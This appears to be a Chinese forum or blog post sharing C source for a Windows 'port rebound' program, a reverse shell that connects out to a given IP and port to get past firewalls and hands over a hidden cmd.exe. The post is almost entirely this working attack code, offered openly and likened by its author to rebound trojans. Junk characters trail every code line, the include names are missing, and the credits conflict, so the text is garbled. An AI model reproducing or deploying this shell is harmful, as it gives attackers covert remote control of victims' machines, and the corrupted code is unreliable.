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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 aQ\$A`?  
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/* ============================== a'yK~;+_9  
Rebound port in Windows NT SbrecZ  
By wind,2006/7 )W _v:?A9  
===============================*/ 3K0A)W/YEs  
#include OU $#5  
#include ud@%5d  
<&g,Nc'5C  
#pragma comment(lib,"wsock32.lib") PmEsN&YP]  
4yA+ h2  
void OutputShell(); 0rs"o-s<  
SOCKET sClient; N]=q|D  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8\A#CQ5b  
^KT Y?  
void main(int argc,char **argv) scz&h#0V  
{ XW)lDiJl  
WSADATA stWsaData; !Pfr,a  
int nRet; Vd+T$uC  
SOCKADDR_IN stSaiClient,stSaiServer; C{xaENp  
^ EQ<SCh  
if(argc != 3) F8,RXlGfA[  
{ ,G?WAOy,  
printf("Useage:\n\rRebound DestIP DestPort\n"); h_,i&d@(  
return; j@3Q;F0ba  
} q\4Xs$APq  
oDAXiY$u  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9`X\6s  
?ri?GmI|  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9Uekvs=r=M  
2*l/3VW  
stSaiClient.sin_family = AF_INET; ZI}Fom<  
stSaiClient.sin_port = htons(0); ,K"U> &  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]dmrkZz:  
&d?CCb$|0Y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }?_?V&K|  
{ 4-y :/8  
printf("Bind Socket Failed!\n"); By",rD- r  
return; :v&$o'Sak  
} SBk4_J/_  
u$Jz~:=,  
stSaiServer.sin_family = AF_INET; .|>3k'<l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ep)n_!$OH"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )e=D(qd  
Em !/a$  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ' ;FnIZ  
{ |tMWCA  
printf("Connect Error!"); Kaqc74Mv  
return; Vl=l?A8  
} a;qryUyG  
OutputShell(); bP$dU,@p~  
} e>7>j@(K]  
jB Z&Ad@e  
void OutputShell() Q}K"24`=  
{ s %``H`  
char szBuff[1024]; M@H;pJ+B  
SECURITY_ATTRIBUTES stSecurityAttributes; 4ber!rJM  
OSVERSIONINFO stOsversionInfo; *:LK8U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x$.^"l-vX  
STARTUPINFO stStartupInfo; L;NvcUFn  
char *szShell; ?*1uN=oI{*  
PROCESS_INFORMATION stProcessInformation; o!Ieb  
unsigned long lBytesRead; ;yLu R  
g._]8{K  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v,{ :Ez(H  
:vqgGKml$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bL+_j}{:N  
stSecurityAttributes.lpSecurityDescriptor = 0; f<fXsSv(  
stSecurityAttributes.bInheritHandle = TRUE; PI:4m%[  
e L^ |v  
)D5"ap]fX  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $m{:C;UH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  v zs)[AD  
8f)?{AX0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Fg5kX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0$)>D==  
stStartupInfo.wShowWindow = SW_HIDE; 6azGhxh  
stStartupInfo.hStdInput = hReadPipe; 2Aazy'/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $=8  NED5  
%G_B^p4  
GetVersionEx(&stOsversionInfo); ^Y>F|;M#  
[P=Jw:E  
switch(stOsversionInfo.dwPlatformId) ~hnQUS`A  
{ ll<Xz((o  
case 1: oim9<_  
szShell = "command.com"; t?x<g<PJ4  
break; wOEj)fp .  
default: DJXmGt]  
szShell = "cmd.exe"; ;4^Rx  
break; kHghPn?8]  
} 2G67NC?+  
RXpw!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rb2S7k0{  
Jr ,;>   
send(sClient,szMsg,77,0); D3Ig>gKo?m  
while(1) "$Z= %.3Q  
{ Vod\a 5c  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dGYn4i2k?  
if(lBytesRead) Ustv{:7v  
{ ,.83m%i  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ['X]R:3h  
send(sClient,szBuff,lBytesRead,0); Utj&]RELK  
} x=hiQ>BIO0  
else Qcq`libK  
{ nJG U-Z  
lBytesRead=recv(sClient,szBuff,1024,0); b8`)y<7  
if(lBytesRead<=0) break; HZzDVCU  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G_3O]BMKd)  
} j^j1  
} \:# L)   
qPX~@^`9  
return; Sz)' ogl  
}
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